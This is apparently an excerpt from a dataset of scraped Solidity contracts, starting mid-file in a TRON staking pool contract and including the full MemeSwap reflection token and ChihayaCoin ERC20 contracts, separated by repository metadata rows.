require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(TRC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(TRC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(TRC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(TRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(TRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(TRC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for TRC20;
uint256 public proportion = 2*decimalVal;
uint public decimalVal = 1e6;
TRC20 public lpt;
TRC20 public lptTwo;
PlayerManager public player;
uint256 private _totalSupply;
uint256 private _totalSupplyTwo;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesTwo;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function totalSupplyTwo() public view returns (uint256) {
return _totalSupplyTwo;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function balanceOfTwo(address account) public view returns (uint256) {
return _balancesTwo[account];
}
function calcTokenToTokenTwo(uint256 amount) public view returns (uint256){
return amount.mul(decimalVal).div(proportion);
}
function stake(uint256 amount, address lastAddress) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
lpt.safeTransferFrom(msg.sender, address(this), amount);
uint tokenTwo = calcTokenToTokenTwo(amount);
_totalSupplyTwo = _totalSupplyTwo.add(tokenTwo);
_balancesTwo[msg.sender] = _balancesTwo[msg.sender].add(tokenTwo);
lptTwo.safeTransferFrom(msg.sender, address(this), tokenTwo);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
lpt.safeTransfer(msg.sender, amount);
uint tokenTwo = calcTokenToTokenTwo(amount);
_totalSupplyTwo = _totalSupplyTwo.sub(tokenTwo);
_balancesTwo[msg.sender] = _balancesTwo[msg.sender].sub(tokenTwo);
lptTwo.safeTransfer(msg.sender, tokenTwo);
}
}
contract UsdtTokenPool is Ownable,LPTokenWrapper
{
TRC20 public token;
uint256 public DURATION = 30 days;
uint256 public initreward;
uint256 public starttime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
address public trxUsdtlp;
address public dsTrxLp;
TRC20 public usdt;
TRC20 public trxContract;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
uint public UsdtLimit = 600000 * decimalVal;
DsTrxLpPool public dsTrxLpPools;
constructor(address token_,
address lptTwo_,
address lptoken_,
address trxUsdtlp_,
address dsTrxLp_,
address usdt_,
address trx_,
uint256 starttime_,
address plays_,
address dsTrxLpPool_) public {
token = TRC20(token_);
lptTwo = TRC20(lptTwo_);
lpt = TRC20(lptoken_);
trxUsdtlp = trxUsdtlp_;
dsTrxLp = dsTrxLp_;
usdt = TRC20(usdt_);
trxContract = TRC20(trx_);
starttime = starttime_;
player = PlayerManager(plays_);
dsTrxLpPools = DsTrxLpPool(dsTrxLpPool_);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function trxPrice() public view returns(uint){
uint trxBalance = trxContract.balanceOf(trxUsdtlp);
if(trxBalance <= 0){
return 0;
}
uint usdtBalance = usdt.balanceOf(trxUsdtlp);
uint trxPrices = usdtBalance.mul(decimalVal).div(trxBalance);
return trxPrices;
}
//dslp
function dsLpPrice(address addr) public view returns(uint){
uint dsTrxLpTotal = TRC20(dsTrxLp).totalSupply();
if(dsTrxLpTotal==0){
return 0;
}
uint trxBalance = dsTrxLp.balance;
uint tokenPrice = trxBalance.mul(trxPrice()).mul(2).div(dsTrxLpTotal);
uint dslpNum = dsTrxLpPools.balanceOf(addr);
uint dsLpPrices = dslpNum.mul(tokenPrice);
return dsLpPrices;
}
function setProportion(uint proportion_) public onlyOwner{
proportion = proportion_;
}
function setDuration(uint256 _duration) public onlyOwner{
DURATION = _duration;
}
function setUsdtLimit(uint256 _usdtLimit) public onlyOwner{
UsdtLimit = _usdtLimit;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount ,address lastAddress)public override updateReward(msg.sender) checkStart
{
require(amount > 0, 'Cannot stake 0');
super.stake(amount,lastAddress);
emit Staked(msg.sender, amount);
player.register(msg.sender,lastAddress);
}
function withdraw(uint256 amount)public override updateReward(msg.sender) checkStart
{
require(amount > 0, 'Cannot withdraw 0');
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward>0) {
rewards[msg.sender] = 0;
token.safeTransfer(msg.sender, reward * 1e12);
address lastUser = player.userInfo(msg.sender);
uint usdtNum = dsLpPrice(lastUser);
if(usdtNum >0 && usdtNum>=UsdtLimit){
player.rebateReward(msg.sender,lastUser,reward);
}
emit RewardPaid(msg.sender, reward);
}
}
modifier checkStart() {
require(block.timestamp >= starttime, 'not start');
_;
}
function notifyRewardAmount(uint256 reward)external onlyOwner updateReward(address(0))
{
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
} else {
initreward = reward;
rewardRate = initreward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(reward);
}
}
}
interface PlayerManager{
function register(address user,address lastUser) external returns(bool);
function rebateReward(address addrs, address addrlast,uint num) external returns(bool);
function userInfo(address addr) external view returns(address);
}
interface DsTrxLpPool{
function balanceOf(address account) external view returns(uint);
}
| 294,464 | 267 |
77ee9851c9f58bb2c1ea5b700c3f3ec440c76b98cb2fe8ccdd8a184c19a6fc78
| 15,890 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xD0534907fcB66accE8679aB24202871d5fcfFe72/contract.sol
| 4,142 | 15,395 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MemeSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MemeSwap';
string private _symbol = 'MEME';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 257,036 | 268 |
60da2d4064d81f35ddf3b85f59f53eb257f05e1f52c51dcdf68bfac4436eff7e
| 32,541 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a2/a2ac4a628417bae0c24595c2da6a246d5fb77b3f_ChihayaCoin.sol
| 3,332 | 13,100 |
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
contract ChihayaCoin is Initializable, ERC20Upgradeable {
function initialize() public virtual initializer {
__ERC20_init("Chihaya Coin", "CHY");
_mint(msg.sender, 72000000000000000000000000); // 72 million * 10 ^ 18
}
function _chihaya(uint256 amount) internal pure returns (bool) {
while (amount != 0) {
if (amount % 100 == 72) {
return true;
}
amount = amount / 10;
}
return false;
}
function _beforeTokenTransfer(address , address , uint256 amount) internal virtual override {
require(amount == 0 || _chihaya(amount), "Chihaya: \u304f\u3063\uff01");
}
event Message(address indexed sender, string text);
function message(string memory text) public virtual {
emit Message(_msgSender(), text);
}
}
| 73,311 | 269 |
135f78449a216bb5a2c044faf4e5c1aadd7b4f4d5de6c1093b8e4fd5a8bd6352
